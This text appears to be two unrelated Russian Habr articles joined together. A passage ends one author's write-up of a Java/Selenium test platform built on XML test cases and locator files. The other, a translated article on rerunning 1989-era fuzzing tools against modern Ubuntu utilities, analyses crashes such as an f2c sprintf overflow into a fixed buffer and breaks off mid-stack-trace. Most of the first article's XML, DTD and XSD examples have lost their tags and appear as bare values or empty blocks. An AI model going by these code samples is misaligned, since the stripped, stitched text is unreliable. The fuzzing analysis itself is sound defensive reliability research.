После того как будет получено имя TestCase, выполняется построение внутренней модели, которая представляет из себя связку TestCase (тестовый сценарий) — WebPackage (хранилище элементов) в виде java объектов. После построения модели строится непосредственно TestCase (исполняемый объект программы). На этапе построения TestCase также происходит вторичная валидация — проверяется что все указанные формы в TestCase имеются в связанном WebPackage и что все элементы, указанные в action, имеются в WebPackage в рамках указанных страниц. (О структуре TestCase и WebPackage подробно описано ниже)
После того, как будет построен TestCase, происходит непосредственно запуск сценария
#### Алгоритм работы сценария (ключевая логика)
TestCase представляет из себя набор сущностей Action, который в свою очередь представляет из себя набор сущностей Event.
**TestCase
-> List{Action}
-> List{Event}**
При запуске TestCase происходит последовательный запуск Action (каждый Action возвращает логический результат)
При запуске Action происходит последовательный запуск Event (каждый Event возвращает логический результат)
По результату выполнения каждого Event сохраняется результат
Соответственно тест завершается либо, когда все действия были выполнены успешно, либо если Action вернул false.
***\*Механизм сбоя**
Т.к. моя тестируемая система древняя и имеет отлавливаемые ошибки/глюги, которые не являются ошибками, и некоторые события не срабатывают с первого раза, в платформе реализован механизм, который может отходить от вышеописанной концепции жестко линейного теста (однако он жестко типизирован). При отлавливании таких ошибок предусмотрена возможность повторения кейсов сначала и выполнения дополнительных действий для возможности повтора действий*
По окончанию работы приложения происходит формирование отчета, который сохраняется в директорию "\Reports". В случае возникновение ошибки делается скриншот, который сохраняется в "\Reports\ErrorScreens"
Заполнение TestSuite
--------------------
Итак, описание теста. Как уже говорилось, основной параметр, необходимый для запуска – имя теста, который следует запустить. Это имя хранится в xml файле в директории “/TestSuite/TestCase”. В данной директории хранятся все тестовые сценарии. Их здесь может быть сколько угодно. Имя тест кейса берется не из имени файла, а из тега “testCaseName” внутри файла.
В TestCase задается что именно будет делаться – т.е. действия. В директории “/TestSuite/WebPackage” в xml файлах хранятся все локаторы. Т.е. все в лучших традициях – действия хранятся отдельно, локаторы веб форм отдельно.
В TestCase также хранится имя WebPackage в теге “webPackageName”.
Итого картина уже есть. Для запуска необходимо наличие 2-ух xml файлов: TestCase и WebPackage. Они составляют связку. WebPackage независим – в качестве идентификатора указывается имя в теге “webPackageName”. Соответственно вот и первое правило – имена TestCase и WebPackage должны быть уникальными. Т.е. еще раз – по сути наш тест — это связка файлов TestCase и WepPackage, которые связаны именем WebPackage, которое указывается в TestCase. На практике я автоматизирую одну систему и все свои тест кейсы вяжу к одному WebPackage в котором у меня до кучи описание всех форм.
Следующий слой логической декомпозиции основан на таком паттерне, как Page Object.
**Page Object*****Page Object** — один из наиболее полезных и используемых архитектурных решений в автоматизации. Данный шаблон проектирования помогает инкапсулировать работу с отдельными элементами страницы. Page Object как бы моделирует страницы тестируемого приложения в качестве объектов.
**Разделение логики и реализации**
Существует большая разница между логикой тестирования (что проверить) и его реализацией (как проверить). Пример тестового сценария: «Пользователь вводит неверный логин или пароль, нажимает кнопку входа, получает сообщение об ошибке». Этот сценарий описывает логику теста, в то время как реализация содержит в себе такие действия как поиск полей ввода на странице, их заполнение, проверку полученной ошибки и т.д. И если, например, измениться способ вывода сообщения об ошибке, то это никак не повлияет на сценарий теста, все также нужно будет ввести неверные данные, нажать кнопку входа и проверить ошибку. Но это напрямую затронет реализацию теста — необходимо будет изменить метод получающий и обрабатывающий сообщение об ошибке. При разделении логики теста от его реализации автотесты становятся более гибкими и их, как правило, легче поддерживать.
**\*!** Нельзя говорить о том, что данный архитектурный подход применен полностью. Речь идет лишь о декомпозиции описания тестового сценария постранично, что помогает писать тесты быстрее и добавлять дополнительные автопроверки на всех страницах, стимулирует к правильному описанию локаторов (чтобы они не были одинаковыми на разных страницах) и строит «красивую» логическую структуру теста. Сама платформа реализована на принципах «Чистой архитектуры»*
Далее я постараюсь подробно не расписывать структуру WebPackage и TestCase. Для них я создал DTD схему для WebPackage и XSD 1.1 для TestCase.
#### ! ВАЖНО
**За счет ведения DTD и XSD схем осуществляется концепция быстрого написания теста.
При написании непосредственно WebPackage и TestCase необходимо использовать xml Editor со встроенными функциями валидации DTD и XSD в реальном времени с автогенерацией тегов, что сделает сам процесс написания авто теста в значительной мере автоматизированным (все обязательные теги будут подставлены автоматически, для значений атрибутов будут выданы выпадающие списки возможных значений, под тип ивента будут сгенерированы соответствующие теги)**.
Когда эти схемы «прикручиваются» к самому xml файлу, то можно забыть про корректность структуры xml файла, если использовать специальную среду. Мой выбор пал на oXygen XLM Editor. Еще раз – без использования подобной проги, вы не поймете суть скорости написания. Idea для этого не очень подходит т.к. в ней не обрабатывается конструкция XSD 1.1 “alternative”, которое имеет ключевое значение для TestCase.
WebPackage
----------
WebPackaege — xml файл, описывающий элементы веб форм, находится в директории "\TestSuite\WebPackage". (может быть сколько угодно много файлов. Название файлов может быть любым — значение имеет только содержание).
**DTD (вставляется в начало документа):**
```
]>
```
**В общем виде выглядит примерно**
```
уникальное\_название
пустая\_форма\_авторизации\_при\_открытии\_тестового\_приложения
наименование\_элемента
.//div/form/div/div/form/table/tbody/tr/td[text()="Логин"]/following-sibling::td/input
наименование\_другого\_элемента
.//div/form/div/div/form/table/tbody/tr/td[text()="Логин"]/following-sibling::td/input
.......
.......
```
Как уже говорилось, чтобы элементы были не в кучи – все декомпозировано по веб формам
Ключевой сущностью является
Тег element имеет 2 атрибута:
* type
* alwaysVisible
Атрибут **type** является обязательным и задает тип элемента. В платформе задается типом byte
На текущей момент конкретно для себя в платформе реализовал следующие типы:
• 0 — не имеет функционального смысла, обычно какая-то надпись
• 1 — кнопка (button)
• 2 — поле ввода (input)
• 3 — чекбокс (checkBox)
• 4 — выпадающий список (select) – на самом деле не реализован, но место под него оставил
• 5 — для выпадающего списка srm: пишем название, дожидаемся появления значения – выбираем по конкретному xpath шаблону – тип конкретно под мою систему
• 6 — srm select — используется на типовых функциях типа поиска и т.д. – тип конкретно под мою систему
Атрибут **alwaysVisible** — необязательный — показывает присутствует ли элемент на форме всегда, может использоваться при начальной/конечной валидации Action (т.е. в автоматическом режиме можно проверить, что при открытии формы на ней присутствуют все элементы, которые есть на ней всегда, при закрытии формы, все эти элементы исчезли)
Возможные значения:
* 0 — по умолчанию (или если атрибут не задан) — элемент может отсутствовать на странице (не валидировать)
* 1 — элемент всегда присутствует на странице
Дополнительный необязательный атрибут **type** реализован у тега locator
Возможные значения:
* 1 — поиск элемента по id (соответственно в локаторе указать только id)
* 2 — по умолчанию (или если атрибут не задан) — поиск по xpath — рекомендуется использовать только поиск по xpath, т.к. данный метод сочетает в себе практически все преимущества остальных и является универсальным
TestCase
--------
TestCase — xml файл, описывающих непосредственно сценарий тестирования, находится в директории "\TestSuite\TestCase" (может быть сколько угодно много файлов. Название файлов может быть любым — значение имеет только содержание).
**XSD схема:**
```
```
**Общий вид:**
```
уникальное\_наименование\_testCase
название\_webPackage\_из\_webPackageName
Вход через пустую форму авторизации в интерфейс КМа для инициализации приложения
10
пустая\_форма\_авторизации\_при\_открытии\_тестового\_приложения
10
&srmURL
.......
.......
```
Вот в этой строчке видно как прикрутить xsd схему чтобы XML Editor ее видел:
В TestCase я также использую сущности DTD, которые хранятся отдельно в той же директории – файлик с расширением .dtd. В нем я храню практически все данные – константы. Также я построил логику таким образом, что чтобы запустить новый тест, и по ходу всего теста создавались новые уникальные сущности, регистрировался новый КА, достаточно поменять 1 цифру в этом файле.
**Структура его очень проста - приведу пример:**
```
xml version="1.0" encoding="UTF-8"?
```
В значение тега такие константы вставляются так:
```
&srmURL
```
— можно комбинировать.
**! Рекомендация** — при написании testCase следует указывать эти сущности DTD внутри документа, и уже после того, как все стабильно заработает, переносить в отдельный файлик. У моего xml editor-а с этим сложности – он не может найти DTD и не берет во внимание XSD, поэтому рекомендую так
**testCase**
testCase — самый родительский тег содержит:
* **testCaseName** — имя нашего тест кейса, именно этот параметр передается на вход приложению
* **webPackageName** — имя WebPackage, которое указано в webPackageName (см пп выше о WebPackage)
* **actions** — контейнер сущностей action
**action**
Содержит:
* **name** — имя — рекомендуется указывать имя формы и ключевые действия — что и зачем
* **orderNumber** — порядковый номер — параметр необходимый для сортировки action (введен в связи с тем, что при разборе xml в java при использовании определенных инструментов разбор может быть осуществлен в многопоточной среде, в связи с чем порядок может поехать) — при указании следующего action можно перепрыгивать — т.е. имеет при сортировке имеет значение только «больше/меньше», а так можно доставлять action между уже описанными без необходимости менять всю нумерацию
* **runConfiguration** — собственно описание того, что будет происходить в рамках action
**runConfiguration**
Содержит:
* атрибут **openValidation** — необязательный, по умолчанию «0»
+ 0 — не проводить начальную валидацию формы
+ 1 — произвести начальную валидацию формы
* атрибут **closeValidation** — необязательный, по умолчанию «0»
+ 0 — не проводить конечную валидацию формы
+ 1 — произвести конечную валидацию формы
* **formName** — имя формы в рамках которой будут проводиться действия — значение formName из WebPackage
* **repeatsOnError** — необязательный, указывается какое количество повторов необходимо произвести в случае сбоя
* **events** — контейнер сущностей event
* **exceptionBlock** — необязательный — контейнер сущностей event, которые выполняются в случае ошибки
**event**
Минимальная структурная единичка — данная сущность показывает, какие действия совершаются
Каждый event особенный, может иметь уникальные теги и атрибуты.
Базовый тип содержит:
* атрибут **type** — указывается тип элемента
* атрибут **hasExceptionBlock** — необязательный атрибут, по умолчанию «0» — необходим для реализации механизма сбоя — атрибут говорит о том, что на этом ивенте мы можем ожидать ошибку
+ **0** — не ожидается ошибка
+ **1** — ожидается возможная ошибка на действии
* атрибут **invertResult** — необязательный атрибут, по умолчанию «0» — атрибут говорит о том, что необходимо поменять результат ивента
+ **0** — оставить результат выполнения ивента по факту
+ **1** — изменить результат ивента на противоположный
**\*! Механизм описания ожидаемой ошибки**Приведу банальный пример где это было использовано мной в первый раз и что сделать, чтобы он сработал.
Кейс: ввод капчи. Данный момент я не смог автоматизировать, так сказать проверка на робота пока подкашивает – не пишут мне тестовый сервис капчи (а мне самому уже проще сделать нейросеть для распознавания))) Так вот, мы можем ошибиться при вводе. На этот случай я делаю контрольный ивент, в котором проверяю, что у нас отсутствует элемент – уведомление о неверном контрольном коде, ставлю на нем атрибут hasExceptionBlock. Предварительно я задал на action, что у нас может быть несколько повторений (5) и после всего прописал exceptionBlock, в котором прописал, что надо нажать кнопку выхода из уведомления, после чего action повторяется.
Примеры из моего контекста.
Вот я как я прописал ивент:
```
57
уведомление\_неверный\_контрольный\_код
```
А вот exceptionBlock после ивентов
```
10
кнопка\_ок\_для\_выхода\_из\_уведомления
```
И да, действия на одной странице можно декомпозировать на несколько action.
+ кто заметил в конфиге 2 параметра: defaultTimeOutsForWebDriverWait, lowTimeOutsForWebDriverWait. Так вот зачем они. Т.к. весь веб драйвер у меня в синглтоне, и я не захотел создавать каждый раз новый WebDriverWait, то у меня 1 быстрый, и он на случай ошибки (ну или если вы просто поставите hasExceptionBlock=«1», то он тупо будет с меньшим количеством времени явного ожидания) – ну согласитесь, ждать минуту чтобы убедиться, что сообщение не вылезло не комильфо, как и создавать каждый раз новый WebDriverWait. Ну и эта ситуация с какой стороны не ткнись требует костылька – я решил сделать так.
Типы event
----------
Здесь я приведу минимальный набор моих ивентов, типа набора бойскаута, с помощью которых я по своей системе могу протестить практически все.
И теперь плавненько к коду для понимания что такое ивент и как он строится. В коде по сути реализован фреймворк. У меня есть 2 класса – DataBaseWrapper и SeleniumWrapper. В этих классах описано взаимодействие с инфраструктурными компонентами, а также отражаются особенности платформы. Приведу интерфейс, который реализует SeleniumWrapper
```
package logic.selenium;
import models.ElementWithStringValue;
import models.webpackage.Element;
import org.openqa.selenium.WebElement;
public interface SeleniumService {
void initialization(boolean webDriverWait);
void nacigateTo(String url);
void refreshPage();
boolean checkElementNotPresent(Element element);
WebElement findSingleVisibleElement(Element element);
WebElement findSingleElementInDOM(Element element);
void enterSingleValuesToWebField(ElementWithStringValue element);
void click(Element element);
String getInputValue(Element element);
Object jsReturnsValue(String jsFunction);
//Actions actions
void doubleClick(Element element);
void moveMouseToElement(Element element);
void pressKey(CharSequence charSequence);
void getScreenShot(String storage);
}
```
В нем описываются все возможности селениума и накладываются фишки платформы – ну собственно основная фишка – это метод «enterSingleValuesToWebField». Помните, что мы в WebPackage указываем тип элемента. Так вот, то как на этот тип реагировать при заполнении полей прописано тут. Пишем 1 раз и забываем. Вышеуказанный метод стоит поправить под себя в первую очередь. К примеру типы 5 и 6, ныне действующие – подходят только для моей системы. А если у вас есть такая штука как фильтр и надо много фильтровать, и он типовой (в вашем веб приложении), но, чтобы им воспользоваться надо сначала навести мышку на поле, дождаться появления каких-то полей, перейти на какое-то, дождаться там чего-то, затем перейти туда и ввести… Тупо прописываете механизм действия 1 раз, даете уникальный тип этому всему в конструкции switch – далее не заморачиваетесь – получаете полиморфный метод на все аналогичные фильтры приложения.
Итак, в пакете «package logic.testcase.events» есть абстрактный класс, описывающий общие действия ивента. Для того чтобы создать свой уникальный ивент, необходимо создать новый класс, унаследоваться от этого абстрактного класса, и у вас уже в комплекте есть и dataBaseService и seleniumService – а далее вы определяете какие данные вам нужны и что с ними делать. Как-то так. Ну и соответственно, после создания нового ивента надо допилить класс-фабрику TestCaseActionFactory и по возможности XSD схему. Ну и, если добавляется новый атрибут – доработать саму модель. На деле это очень легко и быстро.
Итак, набор бойскаута.
**goToURL** – обычно первое действие – переход по указанной ссылке
**Пример:**
```
10
testURL
```
**fillingFields** — Заполнение указанных элементов
Специальные теги:
* **fields** — контейнер сущности fiel
+ **field** — содержит тег element
- **element** — указывается имя элемента из webPackage
- **value** — какое значение указать, имеет необязательный атрибут **type** (если елемент чекбокс, то указывается одно из значений: «check» или «uncheck»)
* атрибут **type** — указывается каким образом взять значение, необязательный, значение по умолчанию — «1»
+ 1 — берется указанное значение
+ 2 — в этом случае выполняется указанная JS функция из директории "\TestSuite\JS"! ВАЖНО — указывается название txt файла, без ".txt" (и я пока нашел применения js функциям пока только в таком виде – использую в одном месте для генерации случайного инн, однако спектр возможного применения широк)
+ 3 — в этом случае указывается в качестве значения указывается запрос в БД, а программа подставляет в 1-ый результат данного запроса
**Пример:**
```
10
test
test
```
**checkElementsVisibility** – проверяется, что указанные элементы присутствуют на форме (именно видимые, а не просто в DOM). В атрибуте field может быть указан или элемент из WebPackage или непосредственно xpath
**Пример:**
```
10
test
test
```
**checkElementsInVisibility** – аналогичный checkElementsVisibility, но наоборот
**clickElement** – клик по указанному элементу
**Пример:**
```
10
test
```
**checkInputValues** – проверка введенных значений
**Пример:**
```
10
test
test
```
**dbUpdate** – выполнить апдейт в базе (***oXygen странно реагирует на 1 ивент типа dbUpdate – не знаю что с ним сделать и не понимаю почему***)
**Пример:**
```
10
update что-то там
```
**CheckQueryResultWithUtilityValue** — проверка введенного пользователем значения с значением из БД
**Пример:**
```
10
select ...
test
```
**checkFieldsPresenceByQueryResult** — проверка наличия элементов на форме по xpath по паттерну. Если желаемы паттерн не указан, то поиск произойдет по паттерну .//\*[text()[contains(normalize-space(.), "$")]], где вместо «$» будет значение из БД. При описании собственного паттерна, на то место, куда следует поставить значение из БД – надо указать «$». В моей системе есть так называемые гриды в которых бывают значения, которые как правило формируются из какой-то вьюхи. Этот ивент для проверки таких гридов
**Пример:**
```
10
test
```
**Wait** – все просто – ожидание указанного количества милисекунд. К сожалению, хоть это и принято считать костылем, скажу точно – иногда без него невозможно обойтись
**Пример:**
```
10
1000
```
**scrollDown** – скрол вниз от указанного элемента. Делается так: кликается по указанному элементу и типа нажимается клавиша «PgDn». В моих кейсах, где мне надо было скрольнуть вниз работает отлично:
**Пример:**
```
10
test
```
**userInput** – ввод значения в указанный элемент. Единственный полуавтомат в моей автоматизации, используется только для капчи. Указывается элемент, в который надо ввести значение. Значение вводится в всплывшее диалоговое окошко.
**Пример:**
```
10
capch\_input
```
Про код
-------
Значит, я старался сделать платформу в соответствии с принципами Чистой архитектуры дядюшки Боба.
Пакеты:
application – инициализация и запуск + конфиги и отчет (не ругайте меня за класс Report – вот что максимально на скорую руку, то максимально на скорую руку)
logic – ключевая логика + сервисы Селениума и БД. Тут же ивенты.
models – POJO на XML и все вспомогательные классы-объекты
utils – синглтоны для селениума и БД
Чтобы код запустить, надо скачать jdk 12 и везде указать, чтобы включились ее фишки. В Idea это делается через Project Structure –> Modules и Project. Также не забыть про Maven runner. И при запуске в бат файле дописать --enable-preview. Пример был.
Ну и, чтобы все еще запустилось, по мимо JDK потребуется скачать ojdbc драйвер и закинуть джарник в директорию “SprintAutoTest\src\lib”. Я его не предоставляю, т.к. у оракла там щас все серьезно – чтобы скачать надо зарегаться, но я уверен, все желающие так или иначе справятся (ну и проверьте, чтобы все папки были созданы, а то отчет не сохранится)
Резюме
------
Итак, мы имеем запускалку тестов, написание тестов на которую делается действительно быстро. За рабочую неделю мне удалось автоматизировать 1,5 часа ручной работы, которая выполняется роботом за 5 – 6 минут. Это примерно 3700 строчек конкатенированного тест кейса и 830 описанных элементов (более 4800 строчек). Цифры грубые, и так оно не меряется, но кто занимается автоматизацией должен понимать, что это весьма высокий показатель, тем более для недружелюбных к роботам систем. При этом я тестирую все – бизнес-логику, по ходу выполняю какие-то негативные тесты на корректность заполненных атрибутов, и как бонус проверяю полностью каждую веб-форму, по которой не лентяйничаю, и описываю все функциональные и ключевые элементы, в независимости нужны они мне или нет (Небольшое отступление – closeValidation я применяю в основном только при написании теста. Когда он стабилен, и понятно, что локаторы не пересекаются, я его отключаю для всех action, дабы процесс шел шустрее).
На первый взгляд кажется, что много строчек xml, однако на практике они генерируются полуавтоматически, при этом ошибку можно совершить только в непосредственно вводимых параметрах (т.к. по сути мы имеем 2 уровня валидации – 1-ый это xml схемы, 2-ой проверки наличия указанных форм и элементов при старте запуска TestCase).
Из минусов – нет четких границ тестов. Как таковые они отсутствуют и можно упрекнуть меня, что это просто запускалка макроса, а не тестов. Я оговариваю это так:
В платформе тесты концептуально с моей точки зрения делятся на несколько уровней абстракции:
* как касета + конечный результат — тест завершается если «порвалась пленка» + как рекомендация — это валидация конечного результата (то к чему мы приходим по окончании тестирования функциональности – т.е. валидация конечного результата бизнес-процесса)
* описание действий декомпозировано постранично (сущность action — это совокупность event в рамках одной страницы c промежуточной валидацией действий + начальная и конечная валидация страницы в автоматическом режиме)
* описанными ивентами, мы не определяем сами тесты, однако они есть – их определяет тест-дизайнер. Да и никто не мешает развернуть платформу так, чтобы каждый ивент представлял из себя тест – но именно от этого я пытался уйти. У меня есть пару ивентов, содержащих ком. тайну, которые я убрал – которые просто было удобнее описать как ивент, но сути дела не меняет
* каждое действие на странице представляет из себя unit тест (возвращающий единственный результат true или false)
Если сравнивать мой подход с чем-то, то минусы, например, популярного Cucumber и самой концепции BDD для меня более существенны (именно когда мы тестируем подобные моей системы):
* Мы не можем гарантировать выполнение тестов при тестировании нестабильного веб приложения. Т.е. в моем случаи для большинства тестов мы не можем гарантировать их исполнения, и они будут валиться на «When», что на мой взгляд не есть вообще приемлемо, если уж мы описываем тестирование набором тестов.
* Ну и везде приводится этот уже бесящий пример с логином. Да за всю мою практику вот именно в логине никогда ошибок не было никогда (хотя он конечно должен быть покрыт, это точно). И пример хорош, но для остальных тестов надо лепить бесконечные костыли из Given и When – в приведенной мной системе для реальных тестов потребуется 99% на описание промежуточных условий, пока мы к этому самому тесту дойдем – много мороки, мало сути, да еще и надо в код лезть.
Из того что я хотел бы сделать, над чем подумать, но еще не дошли руки:
* запуск не одного, а нескольких тестов последовательно в одном запуске
* думаю, прокачать сущности, чтобы можно было в них генерить значения по факту нового теста, и они сохранялись по ходу выполнения
* сделать централизованный версионный контроль. Не просто git, а, чтобы указывать какую версию теста запустить, ну или опять же умный модуль, который бы понимал какая версия актуальна, какая еще нет
* как я уже говорил, для запуска нового теста с новыми значениями, мне надо поменять 1 цифру, автоматизировать как бы и это – сделать на это умный модуль
* хоть меня и не сильно смущает, что у меня все локаторы хранятся в одном месте, все же по-хорошему надо бы сделать еще более user friendly структуру для их хранения
* не баловался с selenium server. Думаю, стоит задуматься об этом, как и возможность дальнейшей адаптации к CI, Team City и пр. вкусностям
Ну в общем-то и все. Прилагаю ссылочку на github: [исходники](https://github.com/PetrovVladimir/SprintAutoTest).
Буду крайне рад конструктивной критике, надеюсь этот проект действительно будет полезен. | https://habr.com/ru/post/450726/ | null | ru | null |
# Фаззинг в стиле 1989 года
С наступлением 2019 года хорошо вспомнить прошлое и подумать о будущем. Оглянемся на 30 лет назад и поразмышляем над первыми научными статьями по фаззингу: [«Эмпирическое исследование надёжности утилит UNIX»](ftp://ftp.cs.wisc.edu/paradyn/technical_papers/fuzz.pdf) и последующей работой 1995 года [«Пересмотр фаззинга»](ftp://ftp.cs.wisc.edu/paradyn/technical_papers/fuzz-revisited.pdf) того же автора [Бартона Миллера](http://pages.cs.wisc.edu/~bart/fuzz/fuzz.html).
В этой статье попытаемся найти баги в современных версиях Ubuntu Linux, используя **те же самые инструменты**, что и в оригинальных работах по фаззингу. Вы должны прочитать оригинальные документы не только для контекста, но и для понимания. Они оказались весьма пророческими в отношении уязвимостей и эксплоитов на десятилетия вперёд. Внимательные читатели могут заметить дату публикации оригинальной статьи: 1990 год. Ещё более внимательные заметят копирайт в комментариях исходников: 1989.
Краткий обзор
=============
Для тех, кто не читал документы (хотя это реально следует сделать), в данном разделе краткое резюме и некоторые избранные цитаты.
[Программа фаззинга](ftp://ftp.cs.wisc.edu/paradyn/fuzz/fuzz-1995-basic/src/fuzz/src/fuzz.c) генерирует случайные потоки символов, с возможностью генерировать только печатные или непечатные символы. Она использует некое начальное значение (seed), обеспечивая воспроизводимость результатов, чего современным фаззерам часто не хватает. Набор скриптов запускается на тестируемых программах и проверяет наличие основных дампов. Зависания выявляются вручную. Адаптеры выдают случайные входные данные для интерактивных программ (статья 1990 года), сетевых сервисов (1995) и графических X-приложений (1995).
В статье 1990 года тестируются четыре процессорные архитектуры (i386, CVAX, Sparc, 68020) и пять операционных систем (4.3 BSD, SunOS, AIX, Xenix, Dynix). В статье 1995 года аналогичный выбор платформ. В первой статье удаётся добиться сбоя 25-33% утилит, в зависимости от платформы. В последующей статье эти цифры варьируются от 9% до 33%, причем у GNU (на SunOS) и Linux наименьший процент сбоев.
В статье 1990 года делается вывод, что 1) программисты не проверяют границы массива или коды ошибок, 2) макросы затрудняют чтение и отладку кода и 3) язык C весьма небезопасен. Особого упоминания удостоены экстремально небезопасная функция `gets` и система типов C. В ходе тестирования авторы нашли уязвимости Format String за годы до их массовой эксплуатации. Статья завершается опросом пользователей о том, как часто они исправляют баги или сообщают о них. Оказалось, что сообщать о багах трудно и не было особого интереса в их исправлении.
В статье 1995 года упоминается ПО с открытым исходным кодом и обсуждается, почему в нём меньше ошибок. Цитата:
> Когда мы исследовали причины сбоев, то проявилось тревожное явление: многие из багов (около 40%), о которых сообщалось в 1990 году, по-прежнему присутствуют в своей точной форме в 1995 году. …
>
>
>
> Используемые здесь методы просты и в основном автоматизированы. Трудно понять, почему разработчики не используют этот лёгкий и бесплатный источник повышения надёжности.
Только через 15-20 лет техника фаззинга станет стандартной практикой у крупных вендоров.
Ещё мне кажется, что это заявление 1990 году предвидит будущие события:
> Часто лаконичность стиля программирования С доводится до крайности, форма превалирует над правильной функцией. Возможность переполнения входного буфера — потенциальная дыра в безопасности, как показал [недавний интернет-червь](https://en.wikipedia.org/wiki/Morris_worm).
Методология тестирования
========================
К счастью, спустя 30 лет д-р Бартон по-прежнему предоставляет [полный исходный код, скрипты и данные для воспроизведения своих результатов](ftp://ftp.cs.wisc.edu/paradyn/fuzz/): похвальный пример, которому должны следовать другие исследователи. Скрипты без проблем работают, а в инструмент фаззинга потребовалось внести лишь незначительные изменения для компиляции и запуска.
Для этих тестов мы использовали [скрипты и входные данные из репозитория fuzz-1995-basic](ftp://ftp.cs.wisc.edu/paradyn/fuzz/fuzz-1995-basic/src/fuzz/script1/), потому что там самый свежий список [тестируемых приложений](ftp://ftp.cs.wisc.edu/paradyn/fuzz/fuzz-1995-basic/src/fuzz/script1/run.master). Согласно [README](ftp://ftp.cs.wisc.edu/paradyn/fuzz/fuzz-1995-basic/src/fuzz/README), здесь те же самые случайные входные, что и в оригинальном исследовании. Результаты ниже для современного Linux получены **точно на том же коде фаззинга и входных данных**, что и в оригинальных статьях. Изменился только список утилит для тестирования.
Изменения в утилитах за 30 лет
==============================
Очевидно, что за последние 30 лет произошли некоторые изменения в программных пакетах Linux, хотя довольно много проверенных утилит по-прежнему ведут свою родословную на протяжении десятилетий. Где возможно, мы взяли современные версии тех же программ из статьи 1995 года. Некоторые программы больше не доступны, их мы заменили. Обоснование всех замен:
* `cfe` ⇨ `cc1`: Эквивалент препроцессору C из статьи 1995 года.
* `dbx` ⇨ `gdb`: Эквивалент дебаггера 1995 года.
* `ditroff` ⇨ `groff`: `ditroff` больше не доступен.
* `dtbl` ⇨ `gtbl`: Эквивалент GNU Troff старой утилиты `dtbl`.
* `lisp` ⇨ `clisp`: Стандартная реализация lisp.
* `more` ⇨ `less`: Less is more!
* `prolog` ⇨ `swipl`: Есть два варианта prolog: SWI Prolog и GNU Prolog. SWI Prolog предпочтительнее, потому что это более старая и полная реализация.
* `awk` ⇨ `gawk`: GNU версия `awk`.
* `cc` ⇨ `gcc`: Стандартный компилятор C.
* `compress` ⇨ `gzip`: GZip это идейный наследник старой Unix-утилиты `compress`.
* `lint` ⇨ `splint`: Переписанный `lint` под лицензией GPL.
* `/bin/mail` ⇨ `/usr/bin/mail`: Эквивалентная утилита по другому пути.
* `f77` ⇨ `fort77`: Есть два варианнта компилятора Fortan77: GNU Fortran и Fort77. Первый рекомендуется для Fortran 90, а второй для поддержки Fortran77. Программа `f2c` активно поддерживается, её список изменений ведётся с 1989 года.
Результаты
==========
Техника фаззинга 1989 года по-прежнему находит ошибки в 2018 году. Но есть определённый прогресс.
Чтобы измерить прогресс, нужна некая база. К счастью, для утилит Linux такая база существует. Хотя во времена оригинальной статьи 1990 года ОС Linux ещё не существовала, но повторный тест 1995 года запустил тот же код фаззинга на утилитах из дистрибутива Slackware 2.1.0 от 1995 года. Соответствующие результаты приводятся в [таблице 3 статьи 1995 года (стр. 7-9)](ftp://ftp.cs.wisc.edu/paradyn/technical_papers/fuzz-revisited.pdf). По сравнению с коммерческими конкурентами GNU/Linux выглядит очень хорошо:
> Процент сбоев утилит в свободно распространяемой Linux-версии UNIX была второй по величине: 9%.
Итак, сравним утилиты Linux 1995 и 2018 года инструментами для фаззинга 1989 года:
| | Ubuntu 18.10 (2018) | Ubuntu 18.04 (2018) | Ubuntu 16.04 (2016) | Ubuntu 14.04 (2014) | Slackware 2.1.0 (1995) |
| --- | --- | --- | --- | --- | --- |
| Сбои | 1 (f77) | 1 (f77) | 2 (f77, ul) | 2 (swipl, f77) | 4 (ul, flex, indent, gdb) |
| Зависания | 1 (spell) | 1 (spell) | 1 (spell) | 2 (spell, units) | 1 (ctags) |
| Всего протестировано | 81 | 81 | 81 | 81 | 55 |
| Сбои/зависания, % | 2% | 2% | 4% | 5% | 9% |
Удивительно, но количество сбоев и зависаний Linux всё ещё больше нуля, даже на последней версии Ubuntu. Так, `f77` вызывает программу `f2c` с ошибкой сегментации, а программа `spell` зависает на двух вариантах тестовых входных данных.
Какие баги?
===========
Я смог вручную выяснить корневую причину некоторых багов. Одни результаты, такие как ошибка в glibc, стали неожиданными, в то время как другие, такие как sprintf с буфером фиксированного размера, были предсказуемы.
### Сбой ul
Ошибка в [ul](https://manpages.debian.org/stretch/bsdmainutils/ul.1.en.html) — это на самом деле баг в glibc. В частности, о нём сообщалось [здесь](https://sourceware.org/bugzilla/show_bug.cgi?id=20568) и [здесь](https://lists.debian.org/debian-glibc/2016/09/msg00173.html) (другой человек нашёл её в `ul`) в 2016 году. Согласно баг-трекеру, ошибка по-прежнему не исправлена. Поскольку баг невозможно воспроизвести на Ubuntu 18.04 и новее, то он исправлен на уровне дистрибутива. Судя по комментариям к баг-трекеру, основная проблема может быть очень серьёзной.
### Сбой f77
Программа `f77` идёт в пакете fort77, который сам является скриптом-оболочкой вокруг `f2c`, транслятора исходного кода с Fortran77 на C. Отладка `f2c` показывает, что сбой происходит, когда функция `errstr` печатает слишком длинное сообщение об ошибке. По [исходниккам f2c](https://www.netlib.org/f2c/src/error.c) видно, что там используется функция sprintf для записи строки переменной длины в буфер фиксированного размера:
```
errstr(const char *s, const char *t)
#endif
{
char buff[100];
sprintf(buff, s, t);
err(buff);
}
```
Похоже, что этот код сохранился с момента создания `f2c`. Программа ведёт [историю изменений](https://www.netlib.org/f2c/changes), по крайней мере, с 1989 года. В 1995 году при повторном фаззинге компилятор Fortran77 не тестировали, иначе проблему нашли бы раньше.
### Зависание spell
Отличный пример классической взаимоблокировки. Программа `spell` делегирует проверку орфографии программе `ispell` через канал. `spell` читает текст строка за строкой и выдаёт блокирующую запись размера строки в `ispell`. Однако `ispell` читает максимум `BUFSIZ/2` байт за раз (4096 байт в моей системе) и выдаёт блокирующую запись для гарантии, что клиент получил данные о проверке, обработанные до сих пор. Два различных тестовых входных данных заставили `spell` записать строку более 4096 символов для `ispell`, что привело к взаимоблокировке: `spell` ждёт, пока `ispell` прочитает всю строку, в то время как `ispell` ждёт от `spell` подтверждения о прочтении изначальных орфографических правок.
### Зависание units
На первый взгляд похоже, что присутствует условие бесконечного цикла. Зависание вроде бы в `libreadline`, а не в `units`, хотя более новые версии `units` не страдают от этой ошибки. Журнал изменений указывает, что была добавлена фильтрация входных данных, которая могла случайно устранить эту проблему. При этом тщательное расследование причин выходит за рамки этого блога. Возможно, способ повесить `libreadline` ещё остался.
### Сбой swipl
Для полноты картины хочу упомянуть сбой `swipl`, хотя я тщательно его не изучал, так как баг давно исправлен и вроде бы довольно качественно. Сбой на самом деле является утверждением (т. е. тем, что никогда не должно происходить), которое вызывается при преобразовании символов:
`[Thread 1] pl-fli.c:2495: codeToAtom: Assertion failed: chrcode >= 0
C-stack trace labeled "crash":
